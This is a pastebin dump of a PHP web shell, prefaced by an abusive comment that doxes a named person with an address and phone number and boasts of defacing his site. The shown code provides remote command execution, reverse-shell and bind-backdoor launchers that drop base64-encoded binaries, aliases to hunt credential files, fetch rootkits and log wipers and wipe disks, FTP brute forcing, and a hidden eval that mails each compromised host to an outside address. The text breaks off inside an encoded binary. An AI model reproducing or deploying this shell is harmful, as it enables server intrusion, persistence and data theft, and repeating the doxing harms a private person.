· 10 years ago · Aug 21, 2016, 04:56 PM
1<?php
2/*
3-------------------------------------------------------------------------------------------
4private! private! private! private! private! private! private! private! private! private! (not anymore lol fggt)
5-------------------------------------------------------------------------------------------
6 [1x33x7_aKa._LeGeNdZ_nEvEr_DiE_Build_V2_By_Bloodman]-[PRIV8]
7-------------------------------------------------------------------------------------------
8
9~~~~ fuck you LND-Bloodman and fuck your skid tools. Stay on HackForums next time you cancerous retard ~~~~
10~~~ Dox'd bitch:
11Ustinov Peter, N/A
12Ragustrivo 12
13Prague
14Praha, 305479, CZ
15+420.13371337
16
17P.S I defaced your site motherfucker:
18 https://www.anony.ws/i/2016/08/21/cunt.png
19
20* Connected to 1x33x7.info (173.193.105.245) port 80 (#0)
21> GET / HTTP/1.1
22> User-Agent: LND-Is-A-Fuccboi
23> Host: 1x33x7.info
24> Accept: */*
25
26< HTTP/1.1 200 OK
27* Server nginx is not blacklisted
28< Server: nginx
29< Date: Sun, 21 Aug 2016 16:44:31 GMT
30< Content-Type: text/html; charset=utf-8
31< Transfer-Encoding: chunked
32< Connection: keep-alive
33< X-Frame-Options: GOFORIT
34
35<html><head></head><frameset border="0" rows="100%,*" cols="100%" frameborder="no"><src="http://goatse.info/"></head</html>
36
37IRC Botnet:5.189.176.76:9595 #1x33x7
38
39
4013:37 -!- Your host is irc.malware-honeypot.gvc.fbi, running version beware1.5.7
4113:37 -!- This server was created Tue Jul 13 2004 at 20:36:07 GMT
42
43// enjoy the rest of his "priv8 super 1337" toolz
44// lnd fuck your mopm
45
46[ Features ]
47- Mass Defacement Tool
48- Safe Mode Bypass
49- Open_Basedir Bypass
50- Fixed SQL managed
51- FTP Brute Force Tool
52- Fully Undetected
53-------------------------------------------------------------------------------------------
54-------------------------------------------------------------------------------------------
55 - Do no Leak - Do Not Sell - Do Not Distribute -
56-------------------------------------------------------------------------------------------
57private! private! private! private! private! private! private! private! private! private!
58-------------------------------------------------------------------------------------------
59*/
60
61//w4ck1ng Shell
62if (!function_exists('myshellexec'))
63{
64if(is_callable('popen')){
65function myshellexec($command) {
66if (!($p=popen("($command)2>&1",'r'))) {
67return 126;
68}
69while (!feof($p)) {
70$line=fgets($p,1000);
71$out .= $line;
72}
73pclose($p);
74return $out;
75}
76}else{
77function myshellexec($cmd)
78{
79 global $disablefunc;
80 $result = '';
81 if (!empty($cmd))
82 {
83 if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
84 elseif (($result = `$cmd`) !== FALSE) {}
85 elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
86 elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
87 elseif (is_resource($fp = popen($cmd,'r')))
88 {
89 $result = '';
90 while(!feof($fp)) {$result .= fread($fp,1024);}
91 pclose($fp);
92 }
93 }
94 return $result;
95}
96}
97}
98$sh_name = sh_name();
99
100
101$curdir = "./";
102$tmpdir = "";
103$tmpdir_logs = "./";
104$log_email = "Angela_Merkel@spambog.de";
105$sess_cookie = "cookie1";
106$sort_default = "0a";
107$sort_save = TRUE;
108$usefsbuff = TRUE;
109$copy_unset = FALSE;
110$surl_autofill_include = TRUE;
111$updatenow = FALSE;
112$gzipencode = TRUE;
113$filestealth = TRUE;
114$hexdump_lines = 8;
115$hexdump_rows = 24;
116$millink = milw0rm();
117$win = strtolower(substr(PHP_OS,0,3)) == "win";
118$disablefunc = getdisfunc();
119error_reporting(E_ERROR | E_PARSE);
120@ini_set("max_execution_time",0);
121@set_time_limit(0); #No Fx in SafeMode
122@ignore_user_abort(TRUE);
123@set_magic_quotes_runtime(0);
124define("starttime",getmicrotime());
125if (get_magic_quotes_gpc()) { strips($GLOBALS); }
126$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
127@$f = $_REQUEST["f"];
128@extract($_REQUEST["tpshcook"]);
129foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
130
131
132if ($surl_autofill_include) {
133 $include = "&";
134 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
135 $v = explode("=",$v);
136 $name = urldecode($v[0]);
137 $value = @urldecode($v[1]);
138 foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
139 if (strpos($value,$needle) === 0) {
140 $includestr .= urlencode($name)."=".urlencode($value)."&";
141 }
142 }
143 }
144}
145#BC_
146if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
147{
148 $ip = gethostbyname($_SERVER["HTTP_HOST"]);
149 $por = $_POST['backconnectport'];
150 if(is_writable(".")){
151 cfb("shbd",$backdoor);
152 chmod('shbd', 0777);
153 $cmd = "./shbd $por";
154 exec("$cmd > /dev/null &");
155 $scan = myshellexec("ps aux");
156 if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
157 $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
158 }else{
159 cfb("/tmp/shbd",$backdoor);
160 chmod('/tmp/shbd', 0777);
161 $cmd = "./tmp/shbd $por";
162 exec("$cmd > /dev/null &");
163 $scan = myshellexec("ps aux");
164 if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
165 $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
166}
167}
168
169if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
170{
171 if(is_writable(".")){
172 cf("back",$back_connect);
173 $p2=which("perl");
174 $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
175 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
176 if (file_exists("back")) { unlink("back"); }
177 }else{
178 cf("/tmp/back",$back_connect);
179 $p2=which("perl");
180 $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
181 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
182 if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
183}
184}
185
186if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
187{
188 if(is_writable(".")){
189 cf("backc",$back_connect_c);
190 chmod('backc', 0777);
191 //$blah = ex("gcc back.c -o backc");
192 $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
193 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
194 //if (file_exists("back.c")) { unlink("back.c"); }
195 if (file_exists("backc")) { unlink("backc"); }
196 }else{
197 chmod('/tmp/backc', 0777);
198 cf("/tmp/backc",$back_connect_c);
199 //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
200 $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
201 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
202 //if (file_exists("back.c")) { unlink("back.c"); }
203 if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
204}
205
206function cf($fname,$text)
207{
208 $w_file=@fopen($fname,"w") or err();
209 if($w_file)
210 {
211 @fputs($w_file,@base64_decode($text));
212 @fclose($w_file);
213 }
214}
215
216function cfb($fname,$text)
217{
218 $w_file=@fopen($fname,"w") or bberr();
219 if($w_file)
220 {
221 @fputs($w_file,@base64_decode($text));
222 @fclose($w_file);
223 }
224}
225
226function err()
227{
228$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
229}
230
231function bberr()
232{
233$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
234}
235
236
237function ex($cfe)
238{
239 $res = '';
240 if (!empty($cfe))
241 {
242 if(function_exists('exec'))
243 {
244 @exec($cfe,$res);
245 $res = join("\n",$res);
246 }
247 elseif(function_exists('shell_exec'))
248 {
249 $res = @shell_exec($cfe);
250 }
251 elseif(function_exists('system'))
252 {
253 @ob_start();
254 @system($cfe);
255 $res = @ob_get_contents();
256 @ob_end_clean();
257 }
258 elseif(function_exists('passthru'))
259 {
260 @ob_start();
261 @passthru($cfe);
262 $res = @ob_get_contents();
263 @ob_end_clean();
264 }
265 elseif(@is_resource($f = @popen($cfe,"r")))
266 {
267 $res = "";
268 while(!@feof($f)) { $res .= @fread($f,1024); }
269 @pclose($f);
270 }
271 }
272 return $res;
273}
274function CleanDir($d)
275{
276 $d=str_replace("\\","/",$d);
277 $d=str_replace("//","/",$d);
278 return $d;
279}
280//EoW
281if (empty($surl)) {
282 $surl = "?".$includestr;
283 $surl = htmlspecialchars($surl);
284}
285$ftypes = array(
286 "html" => array("html","htm","shtml"),
287 "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
288 "exe" => array("sh","install","bat","cmd"),
289 "ini" => array("ini","inf","conf"),
290 "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
291 "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
292 "sdb" => array("sdb"),
293 "phpsess" => array("sess"),
294 "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
295);
296$exeftypes = array(
297 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
298 "perl %f%" => array("pl","cgi")
299);
300$regxp_highlight = array(
301 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
302 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
303 array("\.gz$",1,"<font color=#C082FF>","</font>"),
304 array("\.tar$",1,"<font color=#C082FF>","</font>"),
305 array("\.bz2$",1,"<font color=#C082FF>","</font>"),
306 array("\.zip$",1,"<font color=#C082FF>","</font>"),
307 array("\.rar$",1,"<font color=#C082FF>","</font>"),
308 array("\.php$",1,"<font color=#00FF00>","</font>"),
309 array("\.php3$",1,"<font color=#00FF00>","</font>"),
310 array("\.php4$",1,"<font color=#00FF00>","</font>"),
311 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
312 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
313 array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
314 array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
315 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
316 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
317 array("\.png$",1,"<font color=#00FFFF>","</font>"),
318 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
319 array("\.html$",1,"<font color=#00CCFF>","</font>"),
320 array("\.txt$",1,"<font color=#C0C0C0>","</font>")
321);
322if (!$win) {
323 $cmdaliases = array(
324 array("", "ls -al"),
325 array("Find all suid files", "find / -type f -perm -04000 -ls"),
326 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
327 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
328 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
329 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
330 array("Find config* files", "find / -type f -name \"config*\""),
331 array("Find config* files in current dir", "find . -type f -name \"config*\""),
332 array("Find all writable folders and files", "find / -perm -2 -ls"),
333 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
334 array("Find all writable folders", "find / -type d -perm -2 -ls"),
335 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
336 array("Find all service.pwd files", "find / -type f -name service.pwd"),
337 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
338 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
339 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
340 array("Find all .bash_history files", "find / -type f -name .bash_history"),
341 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
342 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
343 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
344 array("List file attributes on a Linux second extended file system", "lsattr -va"),
345 array("Show opened ports", "netstat -an | grep -i listen")
346 );
347 $cmdaliases2 = array(
348 array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"),
349 array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"),
350 array("-----",""),
351 array("Logged in users","w"),
352 array("Last to connect","lastlog"),
353 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
354 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
355 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
356 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
357 array("CPU Info","cat /proc/version /proc/cpuinfo"),
358 array("Is gcc installed ?","locate gcc"),
359 array("Format box (DANGEROUS)","rm -Rf"),
360 array("-----",""),
361 array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
362 array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
363 array("Run WIPELOGS PT3","./zap2"),
364 array("-----",""),
365 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
366 array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
367 array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
368 );
369}
370else {
371 $cmdaliases = array(
372 array("", "dir"),
373 array("Find index.php in current dir", "dir /s /w /b index.php"),
374 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
375 array("Find c99shell in current dir", "find /c \"c99\" *"),
376 array("Find r57shell in current dir", "find /c \"r57\" *"),
377 array("Find tpshell in current dir", "find /c \"tp\" *"),
378 array("Show active connections", "netstat -an"),
379 array("Show running services", "net start"),
380 array("User accounts", "net user"),
381 array("Show computers", "net view"),
382 );
383}
384if ($act == "tools") { tools(); }
385$phpfsaliases = array(
386 array("Read File", "read", 1, "File", ""),
387 array("Write File (PHP5)", "write", 2, "File","Text"),
388 array("Copy", "copy", 2, "From", "To"),
389 array("Rename/Move", "rename", 2, "File", "To"),
390 array("Delete", "delete", 1 ,"File", ""),
391 array("Make Dir","mkdir", 1, "Dir", ""),
392 array("Download", "download", 2, "URL", "To"),
393 array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
394 array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
395 array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
396 array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
397);
398
399$quicklaunch1 = array(
400 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
401 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
402 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
403 array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
404 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
405 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
406);
407$quicklaunch2 = array(
408 array("[ System Info ]",$surl."act=security&d=%d"),
409 array("[ Processes ]",$surl."act=processes&d=%d"),
410 array("[ SQL Manager ]",$surl."act=sql&d=%d"),
411 array("[ Eval ]",$surl."act=eval&d=%d"),
412 array("[ Encoder ]",$surl."act=encoder&d=%d"),
413 array("[ Mailer ]",$surl."act=mler"),
414 array("[ Back Connection ]",$surl."act=backc"),
415 array("[ Backdoor Server ]",$surl."act=backd"),
416 array("[ Kernel Exploit Search ]",$millink),
417 array("[ MD5 Decrypter ]",$surl."act=dec"),
418array("[ Reverse IP ]",$surl."act=rev"),
419 array("[ Kill Shell ]",$surl."act=selfremove"),
420);
421if (!$win) {
422 $quicklaunch2[] = array("<br>[ FTP Brute-Force ]",$surl."act=ftpquickbrute&d=%d");
423}
424
425$highlight_background = "#C0C0C0";
426$highlight_bg = "#FFFFFF";
427$highlight_comment = "#6A6A6A";
428$highlight_default = "#0000BB";
429$highlight_html = "#1300FF";
430$highlight_keyword = "#007700";
431$highlight_string = "#000000";
432
433$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiRngyOVNoZWxsIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIjsKICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsKICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJBbmdlbGFfTWVya2VsQHNwYW1ib2cuZGUiLCRqdWR1bCwkYm9keSk7IH0KfQplbHNlIHsgJHZpc2l0YysrOyB9CkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7";
434eval(base64_decode($fxbuff));
435
436
437
438if ($act != "img") {
439 $lastdir = realpath(".");
440 chdir($curdir);
441
442 if ($sort_save) {
443 if (!empty($sort)) {setcookie("sort",$sort);}
444 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
445 }
446 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
447 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
448 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
449 if (!function_exists("mysql_dump")) {
450 function mysql_dump($set) {
451 global $sh_ver;
452 $sock = $set["sock"];
453 $db = $set["db"];
454 $print = $set["print"];
455 $nl2br = $set["nl2br"];
456 $file = $set["file"];
457 $add_drop = $set["add_drop"];
458 $tabs = $set["tabs"];
459 $onlytabs = $set["onlytabs"];
460 $ret = array();
461 $ret["err"] = array();
462 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
463 if (empty($db)) {$db = "db";}
464 if (empty($print)) {$print = 0;}
465 if (empty($nl2br)) {$nl2br = 0;}
466 if (empty($add_drop)) {$add_drop = TRUE;}
467 if (empty($file)) {
468 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
469 }
470 if (!is_array($tabs)) {$tabs = array();}
471 if (empty($add_drop)) {$add_drop = TRUE;}
472 if (sizeof($tabs) == 0) {
473 //Retrieve tables-list
474 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
475 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
476 }
477 $out = "
478 # Dumped by ".$sh_name."
479 #
480 # Host settings:
481 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
482 # Date: ".date("d.m.Y H:i:s")."
483 # DB: \"".$db."\"
484 #---------------------------------------------------------";
485 $c = count($onlytabs);
486 foreach($tabs as $tab) {
487 if ((in_array($tab,$onlytabs)) or (!$c)) {
488 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
489 //Receieve query for create table structure
490 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
491 if (!$res) {$ret["err"][] = mysql_smarterror();}
492 else {
493 $row = mysql_fetch_row($res);
494 $out .= $row["1"].";\n\n";
495 //Receieve table variables
496 $res = mysql_query("SELECT * FROM `$tab`", $sock);
497 if (mysql_num_rows($res) > 0) {
498 while ($row = mysql_fetch_assoc($res)) {
499 $keys = implode("`, `", array_keys($row));
500 $values = array_values($row);
501 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
502 $values = implode("', '", $values);
503 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
504 $out .= $sql;
505 }
506 }
507 }
508 }
509 }
510 $out .= "#---------------------------------------------------------------------------------\n\n";
511 if ($file) {
512 $fp = fopen($file, "w");
513 if (!$fp) {$ret["err"][] = 2;}
514 else {
515 fwrite ($fp, $out);
516 fclose ($fp);
517 }
518 }
519 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
520 return $out;
521 }
522 }
523 if (!function_exists("mysql_buildwhere")) {
524 function mysql_buildwhere($array,$sep=" and",$functs=array()) {
525 if (!is_array($array)) {$array = array();}
526 $result = "";
527 foreach($array as $k=>$v) {
528 $value = "";
529 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
530 $value .= "'".addslashes($v)."'";
531 if (!empty($functs[$k])) {$value .= ")";}
532 $result .= "`".$k."` = ".$value.$sep;
533 }
534 $result = substr($result,0,strlen($result)-strlen($sep));
535 return $result;
536 }
537 }
538 if (!function_exists("mysql_fetch_all")) {
539 function mysql_fetch_all($query,$sock) {
540 if ($sock) {$result = mysql_query($query,$sock);}
541 else {$result = mysql_query($query);}
542 $array = array();
543 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
544 mysql_free_result($result);
545 return $array;
546 }
547 }
548 if (!function_exists("mysql_smarterror")) {
549 function mysql_smarterror($type,$sock) {
550 if ($sock) {$error = mysql_error($sock);}
551 else {$error = mysql_error();}
552 $error = htmlspecialchars($error);
553 return $error;
554 }
555 }
556 if (!function_exists("mysql_query_form")) {
557 function mysql_query_form() {
558 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
559 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
560 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
561 if ((!$submit) or ($sql_act)) {
562 echo "<table border=0><tr><td><form name=\"tpsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
563 if ($tbl_struct) {
564 echo "<td valign=\"top\"><b>Fields:</b><br>";
565 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.tpsh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
566 echo "</td></tr></table>";
567 }
568 }
569 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
570 }
571 }
572 if (!function_exists("mysql_create_db")) {
573 function mysql_create_db($db,$sock="") {
574 $sql = "CREATE DATABASE `".addslashes($db)."`;";
575 if ($sock) {return mysql_query($sql,$sock);}
576 else {return mysql_query($sql);}
577 }
578 }
579 if (!function_exists("mysql_query_parse")) {
580 function mysql_query_parse($query) {
581 $query = trim($query);
582 $arr = explode (" ",$query);
583 $types = array(
584 "SELECT"=>array(3,1),
585 "SHOW"=>array(2,1),
586 "DELETE"=>array(1),
587 "DROP"=>array(1)
588 );
589 $result = array();
590 $op = strtoupper($arr[0]);
591 if (is_array($types[$op])) {
592 $result["propertions"] = $types[$op];
593 $result["query"] = $query;
594 if ($types[$op] == 2) {
595 foreach($arr as $k=>$v) {
596 if (strtoupper($v) == "LIMIT") {
597 $result["limit"] = $arr[$k+1];
598 $result["limit"] = explode(",",$result["limit"]);
599 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
600 unset($arr[$k],$arr[$k+1]);
601 }
602 }
603 }
604 }
605 else {return FALSE;}
606 }
607 }
608 if ($act == "gofile") {
609 if (is_dir($f)) { $act = "ls"; $d = $f; }
610 else { $act = "f"; $d = dirname($f); $f = basename($f); }
611 }
612
613 @ob_start();
614 @ob_implicit_flush(0);
615 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
616 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
617 header("Cache-Control: no-store, no-cache, must-revalidate");
618 header("Cache-Control: post-check=0, pre-check=0", FALSE);
619 header("Pragma: no-cache");
620 if (empty($tmpdir)) {
621 $tmpdir = ini_get("upload_tmp_dir");
622 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
623 }
624 $tmpdir = realpath($tmpdir);
625 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
626 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
627 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
628 else {$tmpdir_logs = realpath($tmpdir_logs);}
629 $sort = htmlspecialchars($sort);
630 if (empty($sort)) {$sort = $sort_default;}
631 $sort[1] = strtolower($sort[1]);
632 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
633 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
634 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
635 @ini_set("highlight.bg",$highlight_bg);
636 @ini_set("highlight.comment",$highlight_comment);
637 @ini_set("highlight.default",$highlight_default);
638 @ini_set("highlight.html",$highlight_html);
639 @ini_set("highlight.keyword",$highlight_keyword);
640 @ini_set("highlight.string",$highlight_string);
641 if (!is_array($actbox)) { $actbox = array(); }
642 $dspact = $act = htmlspecialchars($act);
643 $disp_fullpath = $ls_arr = $notls = null;
644 $ud = @urlencode($d);
645 if (empty($d)) {$d = realpath(".");}
646 elseif(realpath($d)) {$d = realpath($d);}
647 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
648 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
649 $d = str_replace("\\\\","\\",$d);
650 $dispd = htmlspecialchars($d);
651$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQA